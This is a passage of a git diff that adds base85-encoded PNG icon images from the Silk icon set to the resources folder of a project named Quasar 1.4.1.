zP;|4#3z@Uv(P(;VwfY=wRNvK|hhCcCC$pKo4>LGedcA&ZYHDhWV1>bhb=oXY gDa`htSzznG0VN>dZZSF0x&QzG07*qoM6N<$f}9CZOaK4? literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/newspaper_delete.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/newspaper_delete.png new file mode 100755 index 0000000000000000000000000000000000000000..bde96ce19ad865893414628a85f933140b50f41a GIT binary patch literal 775 zcmV+i1Ni)jP)4QQaBQ_!nBv1oso6^(<=>w{5>7*5@*yDdEq47ZolibYY&U|OiIrnb>&~VuDcsz2K z%jI`C9Nfgjg!JF{M}Y&AlauA~@o~XsvvFp#S$ZUasi`Ts)9GYzWpi^A<#HJW@0v^| zZe(QS_@M&(u-$I2WHK4hGbjQCLBR0v@Grey?;aW&k{u}EcDv>DF~1Kp&|#!>2w-opVxy*UtizV17UIiDof0s%jFOZ2JtOlz%yG2 zw)auE_&N0U_EtHLYZe9QZ~WNUSaoY_3nT)g(I{qTFo|P!b{5HG65&_^Z=5`XcL}~+ zFOgus)oQJ!QYpmaarpgy5oQjir>BufB(S9G!n@n&!8gm`y(!E1S|puy0cu%TSy{pM z_BPhm))0%uLe;JbAe-wB4g73eq#yllc(#WnbDNIr`KG+Cz%217Lv2#80=S}&DK zSY2HO&-0?~+L9fAUd67{v@fmIk5Q-7H4Y9A=2&KSgejjmyLz%N>!ySO2ACDVQ zptXKi0_q|4*C5ekHTL)SXIXw$U{6oaPIq_rg}JsfFBaM_{>*eVA@@XvMEfzkZI$kM zTO?2a8)cN`a literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/newspaper_go.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/newspaper_go.png new file mode 100755 index 0000000000000000000000000000000000000000..fd6142871d234b34bf48ae5b5c86fafaaf36c62c GIT binary patch literal 779 zcmV+m1N8ifP)JNR5;6x zQ(Z_?VHkeSJnLs}CkkC!=4??Q)07hS6YFA8coWfXy6n!PyCB$w(M?0Tk}jkhZxRx3 znh?4{kP zRrRH&X>)Xc==b}Tzuz17K@Jf-ilW>j1c!!(_P?uI}vYw9xZ?LU3SU z;9$9q+iL_yE_ZghT&CICS+F{v&xcSbq|tta;P2|{lK&AH9UW!lVVc>^$TKrDC>Dzl z1OXn82S%e2gM))Ps(HpT;rAjFO5}JvULn_?Ysd4cG)`O1pwY}!<06>hGhs9z6Wq{bqCcdP%@IINv^&2-iB3~f17|P^wXSz(&)6*5Q)9J+g{5+Pjcfj#? zaj~%qpOeeX#Ua9hlE6;q%U-Y76pO`nb!K9e2Si0eLrpVYE!@JwrwNIT5C{auOBv9D zCCkgQjJCEmq*5t_*B@j2^%F>%0_nGc6GzXYxz354n8(}VQ(lC$7(f90jsus&;o!_> zGYW+QY&IK|jD)L>+fa24Bo7Tb(i>}NZMcLjsc87P8r?V_G#o2C$meo73$xE=&SWwr z%Z&Uzy9AkBD4Gmem9e>OxuN6fRFES5MlqAYvo4L`?)Hpbo z{Te>3PGM~E%}+_em2{7u*mV;7`udp2Qd3h?9mjDD}Vk z4@oPLzwY@j^!E0aLUt-_Z)>dhKeO+=m9KzDlQq6w>wzs$CE|-gmFS6MzN~ID=T(;Zo!u3eqqJRXmnn*G;eCR|=#2Caiap};30 zu{1R`B}`6E*4zSIi^;5ubUFsKxY^6C6xh*rLnQG=N$06m?i+3#dpu;atMV&ILn_y z@Aw2qK@9- zWhoksqF5~A`1lw`qY>ld<6!?kkw_pM4s#fZuVS%Snbr39_jyliYwK$nnf3MH-~c;2 zJKXVsfdPnzhZr0jL|a=My1TnUuJby}TUuIvDwWE245HKNiZZ&aCo?lM6`#)styas% z;{Z_<(b(9CKp?>LNF>4yuCK5E-rnB+fB}YwhcCGiR;#tvVzK0COb%gy-rim)6bdvo zHKC)Ug9pnS8X78{ot?W3pwVawH-|)*RZDzIt*)-- z$*TgbcyjBMsp*kkuRo*LuGDJv51QtZqTJQh^^)QRnL002ovPDHLkV1n@`X+{75 literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/note.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/note.png new file mode 100755 index 0000000000000000000000000000000000000000..244e6ca045c50a130086ac388b560a12761544b4 GIT binary patch literal 500 zcmV z!-sF!^gVb+8rtpyctW0#N6uWni0LCt_6PoOdbjll_d4>B|?abUmpo8>v>h}Zj|Ya;Eu#qwvU1IVc9khP8VrtAsT2=e83P~$#!xXbw)n}FlPSEe7Hq1uCb zR8w;xqmBrUgA^pnkB=O@-lq0DPz$ay0yh_~I_IDpzxRb(4=Iy9CT||k!08w)Pe>W4 zElmH8fF;68$GMwZ#7{4ozI(ySrR%I+xs4-G1q^UxnUV7rlf9>Rn&_6Wike0000v%0y_nie4@QbY&^tbl4Sl(SzV~n0XlZf6UDPQ6j=tD#8}4ezlRG zZ^aZB5eX0zA~r-!fEXXKK7<-;G-5mmHBA?vs9FMRh#tALPC*0|R2D!W_x$pD2Y&uH z+eHxPl@An%I6xt+F{nrb5_%h4!5CaHk12iv=OYr7cNc)uh|`Gk*tX{aE-Y<8V12+K zPJ@IMP&HU1t^{I`U;_tcWvOhrM%lwTT_N$nd1VpvZ#{vt8a*?L@xOx&KnzwFi0yAF zD?5!?55(2Hfm#jH;)`C1wsa8hIuAHpFh_Cx84de(fs`1Y)r`zJmOYQ4l;h7z{??m2 z6NB|tOoR)Q+6LPXG!1ljo}#1m7&G(ZWG2)6`muahZFZcKskR~D8qf$7frn!c bvi<)7-g`sTs&+NB00000NkvXXu0mjf0pJeu literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/note_delete.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/note_delete.png new file mode 100755 index 0000000000000000000000000000000000000000..8a1f0ff56f3ff9c1d6e1868eaebab76a185b35d3 GIT binary patch literal 631 zcmV--0*L*IP)X_hQMgJ64VgUTuVX_4iRmQ%|%N&1VIKW z6ly_}Niis=j1O#s|KSprLH24(6;msP^w!;>QD2}~Bd>N!nVR)Lt@FeB=w?vJK@BNvc%LDG&20)2m|BSOT zG|GYVcTq|a#BPX7Q8i>wYmuZj)g4Rb?d zoVa*{?96A>%WfKfzN5XZB^D+3Hxl3sDvoG6cLzPuPx0$};+E57TQ6Xj`pC9+z|{wv zz4sm=4ys+P57Xl7YZ7dNID=S?(*+IABYLga|n=&i1C^Ll$f?5eeicnA#1rn`Vw5g!~Ai_;Six%mol@YXv zpr{DSk_4&HqEGXqMs21Urx~61zW2TFJuNiKk5=8qxp3h5o#%3&zLVh3I}!7>rV zy0cveL@eMS{2@4@V#Ifsc!DulJ&DQpf%Op4v$xe?6=D@)U81WGV*SDrfWQL`Vikx# zC;D5g5L>`a_LDBIB75he%=~zQqY~|505hGQwLEXKi?wPF;-YiIct4j@Rd<3|O#|8C zTHZhC><9zcK%qYMV7$)|Xb?l7a+FlZ5nDj##-OBu%J?oaL+^+>n(`G@l&xA93j+jh z8k0*q$O-j?Nca8_zy`4G;prD4e1YrH!W$vy!p#G|OpS~5?22&Z3S zwVIa$XW=s4>S&U~r@Q#jeV*}=UW(V%W0I-yifB=D-Gvu#7REiau<_yZq|tBhQd7T= z($ZQI{e#oW)d!XmFX`aO{z|uT!vfZZgl-iCb@8i9wMYj?C(+SK{{W>psZ+6os7oDm za8eW+HAssHtztndH5&8%zW06Kd+%{bu?flMg>w%acz!(Rz~hJr|MR*4Wcius>Tg5> zM2Cn85gj1fM~n}l!f1tP4?;!XxoM{rU^Lwa#@py3;K14k2oxWkZ+GCAR)~ur)@w{1 z5V3%RuugCy8}R1M4FaG`bDID#R+pdTbatiw)fl0OJE1u?i$y6E%w! zVqFl81g#Dt0J>IaSeBqk>|w2kSPxY%Q(P@$!YZQc?GCI_sHInE|1+2XL}OHi*zT=Z zU8h#4lGu5M@=C7l1`z<`70{Ix5}64S2PWxB9|IdA#-&~?(=&LIP1_Gq`nEt2iL?V8 z5yJdD#TVBw?h=>~Dwg8YnA%(R zj$TFk{>|*vNOIkQRurG##+`eJ{gcQ0@|wbOj?}J$Sa%+=9>Zg4Z196vY>{n4;~DJ- zSJu{V4^!^$=;eXT={tk_;+R?%k%0G4J~2F&!HM=k{5bFKU(buRM>_(tQzPGpCT4a- zBg=>`HbT&J_h>xL&yOEie0t+?SEq<-KZxb-jd@}Pv9_t?U&mTRWbiM2Xm^@Lr1jze O0000R5;6} zlR-$7K@`V--@00+DaBF-W?)2!79o*g)FH}yo{A10qGLqR*@KDKJa+EdtwTj9l&K)3 z2LlOBDn&C*S6$t2zL_`kI_yf>8U)SZ4Lo?i|9|Ga7pW@$bJ76%<)upQ2dWkohkA#K zMI}Lf0?y#Ypb~>K)OJ3Nb_2Xn-g2{qt_l$p1E7$7cB|Auvc5p2DjMQKHUiZEL@2)q zQEDIR;ys=qLa<9nZVW<#sx92XLNI7BXo#uE+#tC89sr*Jf(8TXibcN{8#LrW1+{xP zkge5%a#8RJW;(ld$se?!rw>(L9V3?ZryF^h$&-Xc4 zn#Bgeig4`EDVplq$eC?A`s&;zw4fx;* zD2p5OoTmDXLoU5Kp}zH~JhS7O#P?t24MDNN_ms*i3Sq zJARohmrsv<9yY}}Fl1l#qhe4OW8)8)+A72gM{638;PD#xwlT-y>N+OoM;MtM{%D2P z=x@u^`J~YsYq7y%#BwszoVwW9!TY&U2B%+7TH(TCpC-}2ZevStYUO;x)y$je!EqaC vU+hy`Y{0((8oQ$vAIdUu@a4;WDm(d~Ny&QoBWxc?00000NkvXXu0mjf`uQqR literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/overlays.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/overlays.png new file mode 100755 index 0000000000000000000000000000000000000000..ab3100b5c5142a96ec64a5a33053d065b6838bff GIT binary patch literal 716 zcmV;-0yF)IP)Zj1^v+DeN+ z$wh@msTr8&gVYAi($s0panyAF{~70=7Bh|!8ANA$x!?JIoO6_j@IPe*ID7Z~6(AWX z0Cs{1f^FdIX=die(XkIi1XSQ#-1toaG7Gh|Dhn^t=uehFhvBJruwfNMfwJ0*%3} zdmXN~y{MvcRCEHN*b)W=wEhgx{on+}Y3*z&xIpA^6ONi@I-a?4yzFGd@jIkuWRa3& z51Gp3;wA=kO-X4(hKS_lx?HP#AD)tuTgcS-1Osgj>SHf6UiJ==)=)@21D0L@_4_%W y+#BcJk(yxLlbwRt%r{=w__?DuyFM+oU_Sv>Crl?v_;CpU00005TQ^(M5v$(QKVE?W+9X! z*o}&~6c?_FreF)9NJB7b5Nbn{G0n4+%uJhR9(V5R|NFTpb|HgjefT!tIhLx@DR+N) zV+fHiR5Yt19}k|KnCsND{tH-`IMJ)3AE?OtyZ4>Un|6(d%h#JK`i&a7^xW9>`yBy` zS4SOHeOpC7$?hH5-#7Rswiue_8Ju*2N@$58=a#2OTA3png`w3v->gWif7t%e$ z$NLVS!tFT#8WL|Wa&K~+{%4P2cRfwesYV1_!F=3OaRVHl(>=`%&{x*s30c}#CNE@&;ItrAv!f!)Oy$Q9t$uS=(sD$-J{T*^(8Eez1E-l3}} zPrfHZ1`qsIFe&gipuL8-IZbo2Yg{lFGKs?ZZWcOaOdk*3`5T;$?AjbG1#`B510Er^h2)2r3Y{!8_2Gj=$KzuN5 zaErtW8W_Y2iJJjY)5pmTVJoPJYpanPOEuYHclM^C1F>${hFRpdi8a<2H|Xudf78bm(zwJ9`K%6I?q*Ua~ fW9JvIbn5*B+_J)rUMBs>00000NkvXXu0mjfH&TkY literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/package_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/package_add.png new file mode 100755 index 0000000000000000000000000000000000000000..9c8a9da4ae49b7fb02af2eaf6e03e0f6c91ba01a GIT binary patch literal 899 zcmV-}1AP36P)i-HS{zx9u^IUGw>*=$qi z4z(fju8Kxf4E>slBg^es4|nAN~@NV_SFj zT24(nZf1>C;s&Oa#mmJBSw-p_cY~Y6U)hMyiI9#@b2~OpJ~{tQK#e@V>&ZUL%dC-& z4K3ksgdE?;g2XJ7a-IC z{t7T9P!AB)6MkIq=xo`8@fr4Pe+pxHJkq|8i#gBoi7`)S7Dry495@-9|NUzWL5S=I zI}8e@=#j{*V_TIRYJCHM<4>HSsjdT~`23%KH*e}YU%C<>JM(QmG2_K2&b4Ftok-)u zSoT&#!hAJ4MD=!?;n}ksXzJm;^DmMqtaEL0%KcAFfAn>=sgaW^@?6tnFI$DxIX=HQ z$n|KMeH{mAuJ2-I1BCpEP)*e`r0GmDdCv3B-24AN7nLkDp7r6!fpdkQ_POs-o|x$lEQQg9%evW;K1esG{Gik*}W^x_p02 zz@7605mh~*BB$cp`?|L6d!3LNikV3wPMD?CDC_s8?yATc75TAuc)YR+NS+_)L-b>( zsrQ9#j~&5n>ISV5tlihzvj6 zHDtNXPvRAp*~s0*)Qb3}431T$tz$2EYlIs*2)S|cnIwy;Davbif3elb@jZvmT7F@f zVrCSn<#Eb6%J~fW`2`LReM=-(52Z9(N@3-bw6yQ1u^Fa+pFL`;NJ+68qpm}|xr0jX z26asd5=}8;l);+=69sPpD)W@H6BN@|aCaR+jg)K^0RgNik;ZN!P8@G(5-Bbb34>Lh zfsj(mUZRj+Cx|5=>Y#prieRe|9`s;9t61=5{Se?kq8ij zU+()P`Q4A8{?PogZ2858X21%`-aNe960R|t^-p8 z^#MVBA#){3_e)1{XGXDpK1SW_uk7k*rZ%@8*ka79h57N}Tj{Y=&7Ft39^KzhIKCIk zDey{|s*hQ#;kNCD{`WQ~Y=8O)Ay1smDNq0KY^#dAt47{xe`+An-rEnpM}Gb))1Q6G zGp`I%KX;C5B}*A7;LY2^-NEnihO`bR7JkxdbOvtdjHL^v38oUE+~BW@`d1wzX5cwxst&W RBUk_c002ovPDHLkV1h=xq}~7k literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/package_go.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/package_go.png new file mode 100755 index 0000000000000000000000000000000000000000..aace63ad6f91537268eb6e9bf328743da7c631c6 GIT binary patch literal 898 zcmV-|1AY97P)yqPWur#3F*- zi1-H*6GJgONgz~1E;+_Oe@~@VF-1Iy-=*@ zV9T!Kgk#%59lVt}Zj7B_)9wTKYBy6YEwPxKqOdeGuEw0%cVhe}Yj*hPSBMNYZ5yz{ z4STT*%d9TVV4NauDND$z(%QKb>=kMr>ckh0lFuesOioc=Nq^^8BQNYYbk1@M%M`O? zh?6H&UZR}Ol3%#RzJX5(MAktmg_e?7`2>w^4^!6w)4$9==U0)EV$}u1A)*bPRF?jv zHdar4EJB1b*f+rh!M+8R159x8%Qjd0I{0j+|69pUC)f(>!P(OTs8c~;XuVtXzfO>s`m zrjW9YI38*Yel_NvP&FVfNEx)sn-kxIx;WzEcpe*LJBYXLr(llS6I0o+c9O z0L_4N7u$0%Dx~ks;fjYRF0OIOR}1uPI!MtibK=J3pihiBTv)jD>R%(Llj(_XFa#mG z6Wg=#j7Q7*PFmM*W@B9!ftm;#qU}sCT;|&KtBZ%Fe#3()Pk+9@Sw&8%k=NQD>92qN zkFT*E2S*%i&!MYvH;;DpF?sU}zb4Mlls)au3~BX$XZr12Z?_sbts>8Fec~0Xl1q`9 zxyH%T#p<5UCqrY2(J4oGEHk9ens22BN3dYXATM07*qoM6N<$g3xBAZ~y=R literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/package_green.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/package_green.png new file mode 100755 index 0000000000000000000000000000000000000000..25b28bb6aab661d06764c3f5df40447eafdc0611 GIT binary patch literal 896 zcmV-`1AqL9P)KI|MAoju4i{u@{tJy)-y@2kjrH7x^`PJV~I)v=6C z`lgBuhno6Z8#*uI5{FE53a{TyEIdwPb9zlhuByn*o}qjBCxNBA=lc=8;;-uIZRogw zS=9zw#NJ=#@9`0ibe+Ogc8o$c&USd3bbMh_9cSdZw3#-bprFL3#cPmkBXQjDd5M8x1tTNKZF&VLNYPDZZL9>z@-$o zek7erUNs|}ub$=P&x}PsA(FiZTEG)*B6PT&oEM6I6T4uO&RP6Yi1D2#!M@?3 zj;KdPT+QWuH26CBX>*w061S-HHgF>FB0;keTcKdt%%qe2>11#Wc&Yqlx{|^}k)r#Z zfn$A{-OZ-=^|@K>LVUuw z|4pw?MTXRo;p&#ttpfPljc~ z^*)fFGk3%$D&OKXWdCy9_{b!yT6y_0c7~Gqk-mpj!O8w1MrQtV62N6 zKd51Qa}KVznef~1!f(w((D?|<6MD>btH8XFphvgoMdY%=T+oe>w-3GnExf%dOqtHY zS(}E=dofs^vjBbvF#8tV7ahP{1|};J9#x@ByDLnQ%VJl9Jkj#ok?On}j7gvDZk*=&ZvV1OVY z4lT+p?g&7sR0jS;nIvmd&hhA`>@!j>0=RkO0+JFFArJ^4kx2N8^a=5YR@06hZH)jj zGBW1Ze2nd6Nm9jQr5bhU^{c0-s;WYHc{y@&a-dKs_&%cP^?IL1qnW2^+P(%56&1BE zHa0doIXU@@OnNGiEzexdmY?CSWe7^s)6)~Ova%LQ1*B5x&xj}D{RPNa+l;K6M!5h0 N002ovPDHLkV1m8@u^RvY literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/page.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page.png new file mode 100755 index 0000000000000000000000000000000000000000..03ddd799fa0a3aec561c75d4221f195db65d6eb9 GIT binary patch literal 635 zcmV->0)+jEP);68^d)m`eN0o>(5%D`Q(1;j>g@G;xlf`0VBQ`PFY?6)!N&f?*K}$p; zB!U=NBn{eB8${1}&-2_L*HuZp@ZP1@clS@cHp)4iM1ewzw59vko7eMM{e9z|%NNdX z0V;`?KKSzTCvTm5bc{L^CIKLUxc2X{i{ISz$8Sgf{q)1nXTP{`{s?9mQ$4&hPiKC- zY8q7(Y1Xu5iCf33=O4Vy(+|zQ?rW#gkKB0f%}?+6{G*qT22|DQB-73`YzA{N4W^=s zq0kQYcbtFfz zLz)H<&|z(Y4kBG67=JY6c|L1R-#TR>fC$3^Y%QEnYO1xHsf)+GU`3F<{J0kR(;pbF3)zyg$H+idfnl-wl5Wkh!vUH z4Z32YP=l_}1rZd1W_D&^$A($A+&a0e&P?xx0!ctY2}*<#p+qPVN*B(YzvAWXa*%bzq z7Fz41LKILT(GWohi9|LgIzSZBhb*Zf6R6O}WYQ4GOi&71s9lmll0x6;8&ILOl$j(c z0Z1T(6Tg09{?wd{moFHNN6PS?$|e>1MxSJ(0Z7o2)J-Zv|>acY@f`(Y@g7GwsEj5NLQo+q|HsxQ5}XSX_d@*^A9ZT9=A{W~j+$GyI1 zc4oqTHx@1FlRjw4XWyPN5i2~l_F3@aBk!0yu^aoRDvXy}8@HCjUVQUsuSH4$T5|r< zzZOn^?Wfa6y|Q($Hx4{ws+)wX6-HP4zo!S?4KJ@7PG@G3G{CjXs(p*kIrj6rHs7_y z+=<-=Q62s9FuWa^X~WKgJIAAZJR&XBB002ovPDHLkV1jCMPILeO literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_attach.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_attach.png new file mode 100755 index 0000000000000000000000000000000000000000..89ee2da0753040d1ba0a3487473a715a8fe89322 GIT binary patch literal 794 zcmV+#1LgdQP)i_t#ewV_0K6;=bl;e_Jt7$~$sQ)q$+ia<4Ec+jeaGt9oWH@O|2`W6&O0t!k{B9sUvLWxkCaPsd9W(`fa z;j-|^ZI^2XnzhgZWYRW-kP&J>DWPo`%;JaBX}or79k=+Jo@h%4Eo72tqev+cB?PjP zO<|ByL#>Tehyq$jR74O$B9WDW1`tK`LzYyL3A9iAcRxLkJ`I)n}v%Od-3H>j$OTBtk>(k-9o?8PqI=0 zB&f-+KOXVnjyKJlf4iHOtnuiE_4+ZVJ$dHjU<^o^YCjQ-wt^!;rPpBv(@pFO{9rdw98 z_s@3+yta93oyfL>7AD5}r=|`zS3Gm$_|(iSl8XBd9k%=91J0j2=ivT5cJ18ZmDjh{ z$-RMd{jQ#X79#Sc literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_code.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_code.png new file mode 100755 index 0000000000000000000000000000000000000000..f7ea90419d950f9e69d977a1f5847456d96a5f0b GIT binary patch literal 818 zcmV-21I_%2P)@LCln44|RX7Ti z0HI3&7jPq){odH{?_{%nYVq_;n_c4WbUpvU(&Cvnj!vq|kVC-vpF6vp^;;e0mm6HW z+WPzA`AZ|;pPp$&dNjzrc??4rt`k%Q1l*u-BPD0MQ}Fbm8jnsyezNt7+u{23>t7Em zJtETY?ja9KrVs^!LJ$xEMF3-bAZO;-IQJavE60KA7fO$VY_%N)R6s>g5mW>fL4&aR z*EVgKKTBXm!=L?S0?xM zYqL@C$|EDF2q*3zWW7;PDZ}SK*IE8;i!3U62=qn80C&*I1Le7WwNP5EcX;_oh2dJn zf#HgBe4@r$GcjHjmj2vAfT%(YN?}kK=(*+1*DkNNc1H5R++vfBMhACi<5uFUU+N4+ z<&U*CPmWi}REa7C6-t>2im1CWv5Jkefxa6>)dEj-CAW wWa{_}BJ!}~75?MkfaCnj>Dn=~vkLS70Pk`;z)@TQj{pDw07*qoM6N<$f@imYHUIzs literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_copy.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_copy.png new file mode 100755 index 0000000000000000000000000000000000000000..195dc6d6c365d298e466026b37c1959d96119ea7 GIT binary patch literal 663 zcmV;I0%-k-P)^@R5;6Z z(>-WZK@^7J_sq=QY_e{46@P+~LNG}sRzZsxQHvCsN*h5ir6^j7pq-$xu$N#V1gx}9 zClV7;5)7zih-s3DB)G=7|99>ji@So7-P24n=VQ(@GctDX!^_@$bj%oviY6e4Dh;od zooe%Wvs8LEKQ&&bL&@bwi=STIAI@!-gB2jC5+?y?VR~VkrNxam-`6*8&po|RZ5LpS zNKdJ%c4bTX`XjKsnecf%W>1%6WT?pKNdLLq{=(f(Col?P1+oq@R>)W(n=x!|*BIIh z6DJGw_w`)u6yN|vAhMteYK5#b%r5^v+VCFl1IGssaclZZMS{vs-LJ2$)n7DAr6==K z<29#%AXsBsDoO}SBaXR#_Ap!JKx)(1)3O2pj0_dYWz5By*X74fRT01$Fk%P_RzOMDtV?GU{nsYq#K8iy zb6qzLYDj`_f5$BwC*WE(t0m#xYJ*=jC2|HQYHh=pf#QG7oowi`h!L!{DB$8|qY{~X zu8@sU1tWq;n$XThR0%;45mdqXM892|{CJ@0DS*}>?ami06Q_^tvM~Y3K(_-`#m!8f z8f!QIrH4y#61;0Ym0cCoLl8{IPombPHtnn7%SbTdI&G-d>ZQo!_wBMF9nzX!g8HVY xYTJPGciz9XMh3w2fmZ(7v{)r*QZD48?mrio{~IaoqP z|1Ep}yDQG09bP~E^Dk?@JiKQJ z6-pO(3~IOP)IYisL6D6;oAEd;E%zR}{U$rMRNuD6nQV7nesKS>)yLo7JuDCrD>Abi zbj3uW23?^GA}9jQ{M^8v?ejL?HaT7AX5WPZNkBmfN`w-jL?{tT7ykZt$%Yln?p_m~ z-?>&d(LD(jAd}h=LPltPQbO$*Wbyl@G-_k5jXbb#qffHY03>M1jfEqoPJQ6Mr=Byp=^jfzePZV1 zLjCmNi31hdIJHa%e;5g=1(`u3BRzfeExY%=VCu{loOr{`%2hUR*x>tL^W_TTaj);0 zpPR6CUD1+0>4TQ6zVfH3TQ;%l6#(_%yspK@3gcmG#Q4!WCPyLU93nMKk7E2pcA=l45({2jNho>sdF*A~bA zxX?-cp~y_z_kFf+yqu3m#QiB}03?Z&9vvR5TNgj<)($Vm)xq5G>|o2sFMag&6aNF+ WAT1?sQBYt20000iHtsh1EzPArg^Q zIZrOk#rNsfjaSbMAL;<4h;Z=jvu8dzyz8N&Nb7=z03ZUw?9z%8KQEa6yM5=kUnka& z3?FJk2}L7q>na=T#;<7U*P91xfF`;`6%pVgWgRy0?1ZryL@%z52=-!fGXWGEn4M351L4<+7eDgwo|moqXT+s1&Kmn>-uQQ8mL7XY)w5Zk*(g+<3Y3tmkR!bL zOUKaUtj_pX26sH+=Iorwu}MGd`_%O-_sS}8VpG#fJA)Fcs#ezwtZf?q?Ac70mDv`rVs{$od?VPKeqf<-kUjNtS6ecB*mq<&M97K^6IVsDO zt2$Ru!b+>2S<}_H>$RcInusU_8PMNdf(W{sNlJ3FkrwMJPeBPO#d}Y^a{9TH(#{Y) l0D?dWAV4eUJX#h`!2gmISk&ZKd4B)^002ovPDHLkV1g&sd|Lnj literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_error.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_error.png new file mode 100755 index 0000000000000000000000000000000000000000..f07f449a44ff2761bfc7b752db3d08d0e1238b02 GIT binary patch literal 793 zcmV+!1LpjRP)lHwhvrAu0-@MQwt}+5~MQTtu}C0%;W( z1<{R?aHBz*g;pk%AyQVBR_Zu5m~;ES_vxI-O!vIF|H*|T{l`n#garr?$RMk>)?Y48 z(ZF2yTneKb};DNWF+jK)IF`6_IfJ{i|F3o%Q+l&4_HGBD|ACE8na_6>L z=s{^>-C(a7J$6=8A_%h5W!1K6dcL!D?XX+Ndk)oei?UundDpX_E&1Y&`)3P8#Ny0s z2Ag7_&ZPhyGj%)g&S6V2LNun1;iBQm#Fwlfv zgyESZR$X}2P;=RW!2zid1r$hBL{K7>2qi*f7>pT1=RdT3@-anEoH{ z={KFOO;Dh#bV*jaN>}M>RZqQd`S=6O9C3KpI~I>l%QFYfo;jqQYe5fcn`)+)zMm6P z4X&L(>gnN0!%J4^rhX->?$S5bY<=GEU%jc!KLL8sww-Eg;h z`H-yBHa)yfojYT}&G*GFc$<(Yja_q=lZvj66DC^O5%$B)|Z(CeD=n`|eM04SP; z>-=-l+xdJjA~vR6^xB#o{ehf~tSM`iwaQv$O<8NIHA}W_WOw*~ XD^gE}t;YAo00000NkvXXu0mjfl6ZQ> literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_excel.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_excel.png new file mode 100755 index 0000000000000000000000000000000000000000..eb6158eb5ca9c4b64c81e70e0fd894dbc8e2bed9 GIT binary patch literal 817 zcmV-11J3-3P)hdKqhFO_H1|Vn1E?(=|cjAh_&P}y{{^`u< zcYD@PK?$)4i~7o9*6F_$F$4lR(d4AAvrez^(88Hk+)+B7E)M3jc=Ewl4$S^`_qwSF zA%qz@=c2EOsz@0qB1IqsqJU)HaG&+}%`-OM8YqW{K85hqj@4&V9vz!Cm_n0-W#f;# zeEpJde%vdgRn5?(+PY=W*z~|lT2-mtown({ll8&3S5+lWz5K}LTRW{k{eJn3Qz!SU zQ`@qI_n2;K?RG~pYJ9=dj-RWgG;P&wEuoAxL~Q)<>x0b=dED^Outj&xQ^rA;u3pw| zca_ClTh_d9cxXg_U!lLRl0`xU@$=UXO|_dRdtXfKwPawmnf(LC7u}-U>8k6}3u|{8 zs9LHr>MIJZGD^r9h|q2yF24Wuh+PM^yMN9GP1$khlDkdyCY}D{kg}jEf-(kW5jBY> z0rB29ZhG-r=i_R{;+1k0?A-sBM;AP6(k1i9ZuixR4?MqXOvphQgCYj~RnXKKL~J9Q zIDNz~XMfO{ZhUg&BTtMyXJqDVqc<x643?SvKHx004lTvR=0a5$dUw z>Xb470000$S;ka1sfH4I-R8njUol7M4dtApOahDylptpYswf1hD#CwFoz6oEA>(SIECU&IQ%a}GXdnC!9$70`0uH1B00000NkvXXu0mjf!8w72 literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_find.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_find.png new file mode 100755 index 0000000000000000000000000000000000000000..2f193889f7ea091c292acdd684c595dcb206b5c4 GIT binary patch literal 879 zcmV-#1CacQP)@+1&aazfGU7ezSm^v zpACwO+tu0su66!(dT=`e05DeeCnCFJW(8|RKtKa{4LGONnx2V85A4m%PEQ?MEtR-esdM$pB-`H542D0)N2zSC6Imf)4L8?>%ZrW+H>xCKi$unm zvGZq-*Q%Aahx;C*=l+K%-?>XB)6TB$-L$r*`RUvlA`xP1NG2?)ge8@TQ4EN|Jks0u zcDg;oFC#-#R`YbWB`D?Q`1#y7l$LXhjSLf8AvQuB84}i#j0^!#g{VE#(K7h@5pFHy zSenl=@XBEdxp`h2Ji>CR%=qXJ7!e|?paKet-~;#ok#jETyeB(5&Bkhp;!+;51~G=) zH?L7xmDUu_h+a$+xuWom;AWW!mS$%%+436Rjc@}y?l1134kgD0AOf$OmjOR zstUlshZk$ZC!bAyIg{Y29z#&@3SJ;6D4+_eFume9^#TmMccC5u0J!ZCTnO6m$lnD| z5JeFHf`Xs~1vP>RLKI1GKDY<~pjr2&bi(fX;6Nj-ss@Ds0CcoO0H{JsEQkm{q03skAA);_bv3q{k31qwVo&s-q`Z?_e+j^w(WL? zl+uETs5+~xBU2};OqEE9ETLGwsMGe1%iTRNue)9}|0~E4B*@5#oRXZ9oRXZ9TqRep zPrGZuoOON4n@=uPbyP1y4G=+HktC6l(gZoFD>@_lXDrN?wo+zozGt3P=Qh+3L7+}q 